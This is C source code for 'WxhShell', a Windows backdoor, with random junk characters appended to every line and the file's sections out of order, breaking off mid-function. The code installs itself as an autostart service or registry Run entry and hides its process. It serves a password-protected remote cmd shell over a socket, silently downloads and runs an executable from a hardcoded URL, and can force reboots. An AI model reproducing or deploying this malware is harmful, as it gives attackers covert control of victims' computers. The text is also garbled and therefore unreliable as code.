    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IPT\d^|f  
    if(Boot(SHUTDOWN)) cp>1b8l6?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /__@a&9t  
    else { k\a&4v  
    closesocket(wsh); JA~v:ec  
    ExitThread(0); X,8 ]g.<  
    } :;]iUjiC8  
    break; lZ9rB^!  
    } P>3 ;M'KsO  
  // 获取shell vmZyvJSE  
  case 's': { 0? QTi(  
    CmdShell(wsh); nB1[OB{  
    closesocket(wsh); [q{[Avqf  
    ExitThread(0); S( r Fa  
    break; L) ]|\|  
  } mxJ& IV  
  // 退出 f?A1=lm~  
  case 'x': { |[}!E/7>b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I ;Sm<P7*  
    CloseIt(wsh); ? @Y'_f  
    break; cRhu]fv()  
    } &%Lps_+fJ  
  // 离开 Qs5^kddz=  
  case 'q': { <r'l5|er  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^xwnX=Np  
    closesocket(wsh); /!mF,oR!  
    WSACleanup(); CQx#Xp>=s  
    exit(1); k*3F7']8  
    break; i7/I8y  
        } 09SLQVo  
  } ``Wf%~  
  } |8m;}&r$  
%`[Oz[V  
  // 提示信息 KK%R3{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '-7rHx  
} Ej]:j8^W  
  }  bK|I  
r{T}pc>^  
  return; k_hV.CV  
} BB694   
:q0TS>l  
// shell模块句柄 U- UD27  
int CmdShell(SOCKET sock) MM*B.y~TxZ  
{ .A. VOf_  
STARTUPINFO si; n@)Kf A)&  
ZeroMemory(&si,sizeof(si)); zMf .  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,33[/j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L:ox$RU  
PROCESS_INFORMATION ProcessInfo; $6ev K~  
char cmdline[]="cmd"; /uM;g9 m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '*~_!lE5  
  return 0; |KHaL?  
} B8Cic\2  
WDC+Jmlgp  
// 自身启动模式 4iD-jM_D  
int StartFromService(void) N:]71+  
{ 6{ql.2 Fa  
typedef struct ]c.1&OB7o  
{ 1yS [;  
  DWORD ExitStatus; W'BB FG  
  DWORD PebBaseAddress; ]b"Oy}ARW  
  DWORD AffinityMask; bZE;}d  
  DWORD BasePriority; vjcG F'-  
  ULONG UniqueProcessId; Pde|$!Jo  
  ULONG InheritedFromUniqueProcessId; 2L<iIBSJwm  
}   PROCESS_BASIC_INFORMATION; Be=J*D!E=>  
H <|ilL'fX  
PROCNTQSIP NtQueryInformationProcess; kf8-#Q/B  
GxL;@%B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R;wq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *oC],4y~D  
xV_,R'l  
  HANDLE             hProcess; jo8hVWJ7V*  
  PROCESS_BASIC_INFORMATION pbi; <,r|*pkhp~  
UbD1h_b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (}W+W\.  
  if(NULL == hInst ) return 0; kPm{tc  
3 %ppvvQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F3XB};  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LyaFWx   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aL9 yNj}2  
/A8ua=Kn  
  if (!NtQueryInformationProcess) return 0; (aAv7kB&  
{{G`0i2KV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B^;P:S<yG  
  if(!hProcess) return 0; G% |$3  
L9|55z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EqN<""2  
|,3>A@  
  CloseHandle(hProcess); f4JmY1)@  
:2'y=t#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0]3 ,0s $}  
if(hProcess==NULL) return 0; hV(>}hb  
|Va*=@&6J  
HMODULE hMod; U7)#9qS4  
char procName[255]; gn2*'_V~3  
unsigned long cbNeeded; ,N[N;Uoj  
[1-1^JY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w1aev  
ne]P-50  
  CloseHandle(hProcess); c>_tV3TDA  
>Mu I-^ 3  
if(strstr(procName,"services")) return 1; // 以服务启动 fgiOYvIS2m  
5`TbM  
  return 0; // 注册表启动 RZ(*%b<C  
} %h}Qf&U_  
2 L>;M  
// 主模块 n(i Uc1Y  
int StartWxhshell(LPSTR lpCmdLine) 'jw?XtG  
{ rBOxI  
  SOCKET wsl; #GDnV/0)  
BOOL val=TRUE; m#}41<  
  int port=0; 9O8na 'w  
  struct sockaddr_in door; @/MI Oxg[  
/6=IL  
  if(wscfg.ws_autoins) Install(); UZ5O%SF  
skd3E4  
port=atoi(lpCmdLine); Q[j'FtP%  
hA6   
if(port<=0) port=wscfg.ws_port; z%)~s/2Rs  
1JRM@!x  
  WSADATA data; rq>}] U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }ZQ)]Mr  
YUzx,Y>k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |fL|tkGEa  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mH1T|UI  
  door.sin_family = AF_INET; N\,[(LbA&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~[_u@8l!mN  
  door.sin_port = htons(port); {7k Jj(Ue  
fH-fEMyW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \# p@ef  
closesocket(wsl); oO0dN1/  
return 1; 7U9*-9  
} S:bYeD4  
q7}rD$  
  if(listen(wsl,2) == INVALID_SOCKET) { Y X`BX$  
closesocket(wsl); mY1I{ '.  
return 1; 86*9GS?U(  
} .wU0F  
  Wxhshell(wsl); .tdaj6x  
  WSACleanup(); HT`k-}ho,  
N)I9NM[  
return 0; 6'{/Ote  
D*%?0  
} *1H8 &  
Ulf'gD4e  
// 以NT服务方式启动 `D%U5Jb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3`JLb]6  
{ m4 k:uk7N  
DWORD   status = 0; 0N|l1Sn  
  DWORD   specificError = 0xfffffff; ^n?`l ^9c$  
6"h,0rR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v)b_bU]Hx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4. =jKj9j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~'9\y"N1  
  serviceStatus.dwWin32ExitCode     = 0; NJNS8\4  
  serviceStatus.dwServiceSpecificExitCode = 0; _%@dlT?  
  serviceStatus.dwCheckPoint       = 0; HUA{ P%  
  serviceStatus.dwWaitHint       = 0; bu?4$O  
%.h&W;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >1}@Q(n/}{  
  if (hServiceStatusHandle==0) return; o2 ;  
kqH:H~sgD  
status = GetLastError(); eh39"s  
  if (status!=NO_ERROR) 0.aIcc  
{ ]\C wa9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W?F Q  
    serviceStatus.dwCheckPoint       = 0; [u $X.=(  
    serviceStatus.dwWaitHint       = 0; dwpE(G y6c  
    serviceStatus.dwWin32ExitCode     = status; RoFOjCc>D.  
    serviceStatus.dwServiceSpecificExitCode = specificError; tEN8S]X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0!Vza?9  
    return; `<Q[$z  
  } kl~)<,/@  
UkTq0-N;2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ke;eI+P[  
  serviceStatus.dwCheckPoint       = 0; @!Z1*a.  
  serviceStatus.dwWaitHint       = 0; H|IG"JB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b9xvLR8  
} l(y,lK=YP1  
1K UM!DUD  
// 处理NT服务事件,比如:启动、停止 V0<g$,W=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j* ZU}Ss  
{ yPd6{% w  
switch(fdwControl) 2dyS_2u  
{ '8yCwk  
case SERVICE_CONTROL_STOP: _UA|0a!-  
  serviceStatus.dwWin32ExitCode = 0; |iA8aHFU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &7XsyDo6  
  serviceStatus.dwCheckPoint   = 0; Ei7Oi!1  
  serviceStatus.dwWaitHint     = 0; +8|9&v`  
  { Ox5Es  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |@1M'  
  } TE5J @I  
  return; tb^/jzC  
case SERVICE_CONTROL_PAUSE: 4J1_rMfh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S\SYFXUl  
  break; lu?:1V-  
case SERVICE_CONTROL_CONTINUE: k%TBpG:T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aXyFpGdb9  
  break; *E wDwS$$  
case SERVICE_CONTROL_INTERROGATE: b8 E{~z  
  break; xHD$0eq  
}; b['v0x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); noso* K7  
} <])]1r8  
|vw],r6  
// 标准应用程序主函数 =.qX u+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -@tj0OHg  
{ Sy/Z}H  
Bp_8PjQ  
// 获取操作系统版本 rEMe=>^   
OsIsNt=GetOsVer(); OQIr"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Zq~Rkx  
;Nw)zS  
  // 从命令行安装 HUChg{[  
  if(strpbrk(lpCmdLine,"iI")) Install(); <L('RgA@X  
' GUCXx  
  // 下载执行文件 v5 @9  
if(wscfg.ws_downexe) { BM{*5Lf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >m:n6M'r  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~>H,~</`  
} o-o -'0l  
 sd"eu  
if(!OsIsNt) { `TYC]9  
// 如果时win9x,隐藏进程并且设置为注册表启动 1bFGoLAEFl  
HideProc(); ?iZM.$![  
StartWxhshell(lpCmdLine); l;r A}?,.^  
} ^?2zoS#iw  
else gBO,  
  if(StartFromService()) ck b(+*+l  
  // 以服务方式启动 &ty-aB=F  
  StartServiceCtrlDispatcher(DispatchTable); &Hyy .a  
else qg/FI#r  
  // 普通方式启动 Dkx}}E:<  
  StartWxhshell(lpCmdLine); BCuoFw)  
"L;@qCfhO  
return 0; po(pi|  
} =CW> ;h]  
MGf*+!y,  
+w7U7" xQ  
|2=@8_am  
=========================================== #].q jOj  
V!(7=ku!`  
73B[|J*  
}d>Xh8:%)  
D@O5Gd  
P3IBi_YyG1  
" kl[(!"p  
gj iFpW4  
#include <stdio.h> ACy}w?D<  
#include <string.h> >9mj/P D  
#include <windows.h> ]imVIu   
#include <winsock2.h> d'&OEGb<  
#include <winsvc.h> jhPbh5E  
#include <urlmon.h> 3d]~e  
d&AO 4^  
#pragma comment (lib, "Ws2_32.lib") ^<Gxip  
#pragma comment (lib, "urlmon.lib") A|4om=MO  
P*B @it  
#define MAX_USER   100 // 最大客户端连接数 2 6DX4  
#define BUF_SOCK   200 // sock buffer Hj(K*z  
#define KEY_BUFF   255 // 输入 buffer c|(J%@B)  
Caz5q|Oo  
#define REBOOT     0   // 重启 d#XgO5eyO  
#define SHUTDOWN   1   // 关机 <.Pt%Kg^BS  
$P#x>#+[A  
#define DEF_PORT   5000 // 监听端口 /E2P  
Sa%%3_&  
#define REG_LEN     16   // 注册表键长度 # S/n3  
#define SVC_LEN     80   // NT服务名长度 _!VtM#G[  
~-[!>1!%  
// 从dll定义API 5Po:$(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +$#<gp"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q"D5D rj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '&hd^9]Lo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d"IZt;s/,  
Phk3Jv  
// wxhshell配置信息 2 S~(P  
struct WSCFG { 2@lGY_O!m  
  int ws_port;         // 监听端口 !*L)v  
  char ws_passstr[REG_LEN]; // 口令 $U. |  
  int ws_autoins;       // 安装标记, 1=yes 0=no V9SL96'[I  
  char ws_regname[REG_LEN]; // 注册表键名 S-}c_zbl;  
  char ws_svcname[REG_LEN]; // 服务名 ,*dLE   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1pg#@h[|t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \q*-9_M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5jso)`IL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X.S<",a{qz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LGW:+c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fI`gF^u(  
l$pz:m]Id  
}; [|YvVA  
SD:D8"8  
// default Wxhshell configuration b9#(I~}  
struct WSCFG wscfg={DEF_PORT, kW2DKr-[  
    "xuhuanlingzhe", n?$c"}  
    1, Ynvf;qs  
    "Wxhshell", ]Ml  
    "Wxhshell", )XavhS~Ff  
            "WxhShell Service", NJE*/_S  
    "Wrsky Windows CmdShell Service", {Q37a=;,  
    "Please Input Your Password: ", NN2mOJ:-  
  1, W6}>iB  
  "http://www.wrsky.com/wxhshell.exe", q^<HG]  
  "Wxhshell.exe" j'U1lEZm2  
    }; K:jn^JN$  
i!}6FB Z  
// 消息定义模块 d5>&, {o7N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1KrJS(.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8#lq:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3~bB2APk  
char *msg_ws_ext="\n\rExit."; WA,D=)GP  
char *msg_ws_end="\n\rQuit."; gSw4\R  
char *msg_ws_boot="\n\rReboot..."; vG'#5%,|  
char *msg_ws_poff="\n\rShutdown..."; 8Th,C{  
char *msg_ws_down="\n\rSave to "; O1c:X7lHc  
HV)aVkr/&  
char *msg_ws_err="\n\rErr!"; &z1U0uk  
char *msg_ws_ok="\n\rOK!"; pZlsDM/=  
$A9Pi"/*z  
char ExeFile[MAX_PATH]; O=V_ 7I5  
int nUser = 0; RqGX(Iuv  
HANDLE handles[MAX_USER]; +a^gC  
int OsIsNt; y]+5Y.Cw$  
k9OGnCW\  
SERVICE_STATUS       serviceStatus; "FA. T7G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >h\u[I$7  
Lo_+W1+  
// 函数声明 fn,hP_  
int Install(void); RC[Sa wA  
int Uninstall(void); B7[d^Y60B  
int DownloadFile(char *sURL, SOCKET wsh); & nXE?-J  
int Boot(int flag); ObEz0Rj  
void HideProc(void); z2t+1 In,  
int GetOsVer(void); "r_wgl%  
int Wxhshell(SOCKET wsl); J_Tz\bZ3)  
void TalkWithClient(void *cs); AK,'KO%{=  
int CmdShell(SOCKET sock); ~?Ky{jah:^  
int StartFromService(void); cjPXrDl{\  
int StartWxhshell(LPSTR lpCmdLine); 3k9n*jY0  
L55 UeP\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S}VS@KDO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3~tu\TH6d  
i(;`x  
// 数据结构和表定义 Lu.+J]Rz  
SERVICE_TABLE_ENTRY DispatchTable[] = {CI4AT!?W  
{ t!3N|`x  
{wscfg.ws_svcname, NTServiceMain}, u-,}ug|  
{NULL, NULL} lTqlQ<`V  
}; DbH;DcV7  
eIalcBY  
// 自我安装 [Cv./hEQi  
int Install(void) uO LShNo  
{ <C&|8@A0  
  char svExeFile[MAX_PATH]; O7VEyQqf5  
  HKEY key; F""9O6u  
  strcpy(svExeFile,ExeFile); $~.YB\3  
KH;~VR8"/  
// 如果是win9x系统,修改注册表设为自启动 i,*m(C@F}  
if(!OsIsNt) { 9;U?_   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t kj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y /_CPY  
  RegCloseKey(key); LZe)_9$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Na/Y1RW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iOURS  
  RegCloseKey(key); q/U-6A[0  
  return 0; jW`JThoq  
    } 4($"4>BA  
  } n_km]~  
} f; |fS~  
else { zZCRej  
xt5/`C  
// 如果是NT以上系统,安装为系统服务 `T[@-   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R\3a Sx L  
if (schSCManager!=0) D;V[9E=g/  
{ }psRgF  
  SC_HANDLE schService = CreateService e9KD mX_  
  ( YP_L~zZ  
  schSCManager, X%5eZ"1{x  
  wscfg.ws_svcname, '^_u5Y]  
  wscfg.ws_svcdisp, 7:u+cv  
  SERVICE_ALL_ACCESS, %|(c?`2|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WsV"`ij#  
  SERVICE_AUTO_START, tn' Jkwp  
  SERVICE_ERROR_NORMAL, ,<tJ` ,0X  
  svExeFile, 6I@j$edZ  
  NULL, ( 4L/I  
  NULL, BM,hcT r?  
  NULL, v{a%TA9-  
  NULL, Q!1;xw~  
  NULL WZNq!K H  
  ); &[-(=43@  
  if (schService!=0) 8-nf4=ll  
  { ~%/Rc`  
  CloseServiceHandle(schService); zg<-%r'$  
  CloseServiceHandle(schSCManager); . |T=T0^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B]"`}jn  
  strcat(svExeFile,wscfg.ws_svcname); 32\.-v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t Y  
  RegCloseKey(key); V[nPTYO4  
  return 0; g;63$_<  
    } v<!S_7h  
  } kKSGC?d  
  CloseServiceHandle(schSCManager); xGwImF$r  
} ;3cbXc@]  
} #_ |B6!D!  
}R['Zoh4I  
return 1; {\l  
} \tI%[g1M  
~U]g;u  
// 自我卸载 ;AEfU^[  
int Uninstall(void) }UW7py!TN  
{ luf5-XT  
  HKEY key; g^]Iw~T6$  
XX~vg>3_  
if(!OsIsNt) { ':wf%_Iw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  l!|c_  
  RegDeleteValue(key,wscfg.ws_regname); J2W-l{`r<  
  RegCloseKey(key); ~:z.Xu5m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pqomi!1  
  RegDeleteValue(key,wscfg.ws_regname); LW]fme<V?  
  RegCloseKey(key); y d 97ys  
  return 0; < xy@%  
  } r.H`3m.0q  
} /sKL|]i=  
} l/X_CM8y~  
else { l'+3 6  
S:_Ms{S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YO7U}6wBt  
if (schSCManager!=0) E JkHPn  
{ QO'Hyf t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :X;G]B .  
  if (schService!=0) Kq")\Ha,f  
  { !wy _3a  
  if(DeleteService(schService)!=0) { i<Vc~ !pT  
  CloseServiceHandle(schService); m@2E ~m  
  CloseServiceHandle(schSCManager); \cIN]=#  
  return 0; gpV4qDXV  
  } lYx_8x2  
  CloseServiceHandle(schService); Zo3!Hs ZA  
  } ;l@94)@0  
  CloseServiceHandle(schSCManager); uks75W!}U  
} h:%,>I%{  
} @YI{E*?S  
> {*cW  
return 1; cfLF@LW!])  
} aDbqh~7  
i 9) G t  
// 从指定url下载文件 3B&A)&pEO  
int DownloadFile(char *sURL, SOCKET wsh) Xul`>8y|  
{ x%B_v^^^  
  HRESULT hr; v"bWVc~H  
char seps[]= "/"; T`bYidA  
char *token; ,"%C.9a  
char *file; Z,).)y#B  
char myURL[MAX_PATH]; Ma^jy.  
char myFILE[MAX_PATH]; }T?X6LA$I8  
4era5=  
strcpy(myURL,sURL); ) O0Cz n  
  token=strtok(myURL,seps); 8MJJ w;  
  while(token!=NULL) AjVC{\Ik  
  { m!V,W*RNr  
    file=token; k"N>pjgd$  
  token=strtok(NULL,seps); %~LY'cfPse  
  } zKQ<Zr  
:;k?/KU7  
GetCurrentDirectory(MAX_PATH,myFILE); PF{uaKWk  
strcat(myFILE, "\\"); H5K Fm#  
strcat(myFILE, file); \QvGkcDc{  
  send(wsh,myFILE,strlen(myFILE),0); boo361L  
send(wsh,"...",3,0); )pWgt5:7~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !7N:cx'Qy  
  if(hr==S_OK) ; vH2r~  
return 0; I\@r ~]+y  
else kuEXNi1l  
return 1; `a83RX_\  
n2U &}O  
} 4>gfLK\R:  
1b5Z^a<u  
// 系统电源模块 &tyS6S+  
int Boot(int flag) 3<xE_ \DR  
{ BhJ>G%  
  HANDLE hToken; B"^j>SF  
  TOKEN_PRIVILEGES tkp; p _gN}v  
_{*} )&!M  
  if(OsIsNt) { ZbFD|~[ V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b fxE}>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5nG\J g7  
    tkp.PrivilegeCount = 1; "Lp.*o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W5R/Ub@g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m}]{Y'i]R  
if(flag==REBOOT) { k<9,Ypa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "-4|HA  
  return 0; _H+]G"k/r  
} %BI8m|6  
else { 3lUVDNbZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Vk6c^/v  
  return 0; Etz#+R&*  
} V6g*"e/8  
  } T^A(v(^D  
  else { *lfjsrPu  
if(flag==REBOOT) { S^QEctXU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q\fbrv%I4  
  return 0; !sT>]e  
} NFT:$>83`  
else { r:QLU]   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FnGKt\  
  return 0; odP<S.  
} %'2P4(  
} lu#a.41  
}z]d]  
return 1; UF9={fN1  
} M\1CDU+*Ns  
g\aO::  
// win9x进程隐藏模块 +ai3   
void HideProc(void) $(1t~u<17  
{ {v"f){   
mR0`wrt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (j8*F Bq  
  if ( hKernel != NULL ) @-q,%)?0}=  
  { )]>t(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]3,'U(!+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d6i}xnmC  
    FreeLibrary(hKernel); EjPR+m  
  }  ][ $UN  
S>lP?2J  
return; *l7 `C)  
} <&eJIz=  
`,O7S9]R+  
// 获取操作系统版本 {z oGwB  
int GetOsVer(void) 6#=Iv X4  
{ "im5Fnu  
  OSVERSIONINFO winfo; |~9jO/&r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eaRa+ <#u  
  GetVersionEx(&winfo); HNZ$CaJh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iM .yen_vp  
  return 1; VwR\"8r3  
  else !}=eXDn;A_  
  return 0; ekx(i QA  
} [if(B\&  
`xM*cJTZ  
// 客户端句柄模块 G4 7^xR  
int Wxhshell(SOCKET wsl) w,1N ;R&  
{ 9SC1A-nF  
  SOCKET wsh; ^gVQ6=z%  
  struct sockaddr_in client; XfcYcN  
  DWORD myID; AbNr]w&pXC  
-x ?Z2EA!  
  while(nUser<MAX_USER) $1=7^v[U  
{ ! fk W;|  
  int nSize=sizeof(client); <Sot{_"li  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )CXlPbhY?  
  if(wsh==INVALID_SOCKET) return 1; =eA|gt  
yzEyOz@Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UP#@gxF  
if(handles[nUser]==0) *zRig|k!H  
  closesocket(wsh); Q<>u) %92@  
else TG=A]--_a  
  nUser++; 9Qyc!s`  
  } N[@~q~v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *)[fGxz \  
bU gg2iFS  
  return 0; +}jzge"  
} / `cy4<  
QMMpB{FZ`o  
// 关闭 socket qkfof{z  
void CloseIt(SOCKET wsh) 3[#^$_96b  
{ :[a*I6/^  
closesocket(wsh); F- kjv\  
nUser--; j+!u=E  
ExitThread(0); '@t,G,FJ  
} w/NT 5  
\BBs;z[/  
// 客户端请求句柄 kQI'kL8>  
void TalkWithClient(void *cs) %@QxU-k_  
{ QFTiE1mGH  
Pll%O@K  
  SOCKET wsh=(SOCKET)cs; 0d[O/Q`  
  char pwd[SVC_LEN]; #8jiz+1 _  
  char cmd[KEY_BUFF]; aPJTH0u  
char chr[1]; t %u0=V  
int i,j; Ry[7PLn]  
j*>]HNo&  
  while (nUser < MAX_USER) { "OwM' n8  
J5a8U&A  
if(wscfg.ws_passstr) { t|>P9lX@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P)VQAM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {X?Aj >l  
  //ZeroMemory(pwd,KEY_BUFF); D <~UaHfk  
      i=0; 9#[,{2pJr  
  while(i<SVC_LEN) { 5 CnNp?.t^  
`U0XvWPr[  
  // 设置超时 /'oo;e  
  fd_set FdRead; 9ad`q+kY  
  struct timeval TimeOut; C32*RNG?U  
  FD_ZERO(&FdRead); ~v&Q\>'  
  FD_SET(wsh,&FdRead); 4UbqYl3 |a  
  TimeOut.tv_sec=8; aVr(*s;/  
  TimeOut.tv_usec=0; >~d'i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b!t[PShw^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #2|biTJ  
P}'B~ ~9W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); / 8O=3  
  pwd=chr[0]; )h ,v(Rxa  
  if(chr[0]==0xd || chr[0]==0xa) { tF[) Y#  
  pwd=0; m +A4aQ9  
  break; 5XT^K)'  
  } z81dm  
  i++; Y4YZM  
    } $,Q] GIC  
x7B;\D#`i/  
  // 如果是非法用户,关闭 socket JCxQENsVqB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WBKf)A^S  
} S9DXd]6q_  
^coCsV^CW"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7 cV G?Wr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +Zi+ /9Z(H  
)Q9Qo)D T  
while(1) { = y^5PjN  
o(}%b8 K  
  ZeroMemory(cmd,KEY_BUFF); 8(ZQM01;  
kjQW9QJ<  
      // 自动支持客户端 telnet标准   XFTqt]  
  j=0; XX-(>B0L  
  while(j<KEY_BUFF) { ,J2qLH1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NPv.7,  
  cmd[j]=chr[0]; ~(*tcs]hY  
  if(chr[0]==0xa || chr[0]==0xd) { x+~!M:fAc9  
  cmd[j]=0; P,zQl;  
  break; /7#MJH5b6  
  } :}36;n<['  
  j++; XR VZU~ZV  
    } ?(zCv9Pg  
AP z"k?D0  
  // 下载文件 tvn o3"  
  if(strstr(cmd,"http://")) { v? 8i;[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P cbhylKd  
  if(DownloadFile(cmd,wsh)) +*W lj8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lA4-ZQ2Zp[  
  else 6 o   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W.s8!KH:  
  } VJ h]j (  
  else { S/*\j7cj  
@gqZiFM)  
    switch(cmd[0]) { Rkg)yme!N  
  An}RD73!w  
